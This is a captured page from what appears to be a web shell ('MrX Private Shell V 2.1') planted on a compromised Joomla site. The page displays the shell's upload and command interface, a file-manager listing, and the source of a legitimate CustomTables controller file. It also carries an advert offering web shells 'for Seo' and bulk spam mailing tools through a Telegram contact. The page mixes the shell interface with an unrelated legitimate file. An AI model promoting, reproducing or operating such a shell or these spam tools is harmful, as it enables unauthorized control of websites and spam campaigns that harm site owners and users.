__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
use CustomTables\common;
use CustomTables\CT;
use CustomTables\CTUser;
use Joomla\CMS\Router\Route;

defined('_JEXEC') or die();

$ct = new CT;
$model = $this->getModel('edititem');
$user = new CTUser();

if (!$ct->CheckAuthorization(1)) {
	//not authorized
	$returnToEncoded = common::makeReturnToURL();
	$link = Route::_('index.php?option=com_users&view=login&return=' . $returnToEncoded);
	$this->setRedirect($link, common::translate('COM_CUSTOMTABLES_YOU_MUST_LOGIN_FIRST'));
} else {
	switch (common::inputGetCmd('task')) {
		case 'add' :
			$model = $this->getModel('editphotos');
			$model->load($ct);

			if ($model->add()) {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_ADDED');
			} else {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_NOT_ADDED');
			}

			$tableName = common::inputGetCmd('establename');
			$galleryName = common::inputGet('galleryname', '', 'CMD');
			$listing_id = common::inputGet("listing_id", 0, 'INT');
			$returnToEncoded = common::getReturnToURL(false);
			$Itemid = common::inputGet('Itemid', 0, 'INT');

			$link = 'index.php?option=com_customtables&view=editphotos'
				. '&establename=' . $tableName
				. '&galleryname=' . $galleryName
				. '&listing_id=' . $listing_id
				. '&returnto=' . $returnToEncoded
				. '&Itemid=' . $Itemid;

			$this->setRedirect($link, $msg);
			break;

		case 'delete' :
			$model = $this->getModel('editphotos');
			$model->load($ct);

			if ($model->delete()) {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_DELETED');
			} else {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_NOT_DELETED');
			}

			$tableName = common::inputGetCmd('establename');
			$galleryName = common::inputGet('galleryname', '', 'CMD');
			$listing_id = common::inputGet("listing_id", 0, 'INT');
			$returnToEncoded = common::getReturnToURL(false);
			$Itemid = common::inputGet('Itemid', 0, 'INT');

			$link = 'index.php?option=com_customtables&view=editphotos'
				. '&establename=' . $tableName
				. '&galleryname=' . $galleryName
				. '&listing_id=' . $listing_id
				. '&returnto=' . $returnToEncoded
				. '&Itemid=' . $Itemid;

			$this->setRedirect($link, $msg);
			break;

		case 'saveorder' :
			$model = $this->getModel('editphotos');
			$model->load($ct);

			if ($model->reorder()) {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_ORDER_SAVED');
			} else {
				$msg = common::translate('COM_CUSTOMTABLES_IMAGE_ORDER_NOT_SAVED');
			}

			$returnto = common::getReturnToURL();
			$this->setRedirect($returnto, $msg);
			break;

		case 'cancel' :
			$msg = common::translate('COM_CUSTOMTABLES_EDIT_CANCELED');
			$returnto = common::getReturnToURL();
			$this->setRedirect($returnto, $msg);
			break;
		default:
			parent::display();
	}
}

Filemanager

Name Type Size Permission Actions
catalog.php File 13.27 KB 0664
details.php File 4.48 KB 0664
editfiles.php File 3.23 KB 0664
editphotos.php File 3.08 KB 0664
log.php File 374 B 0664
save.php File 6.56 KB 0664
Filemanager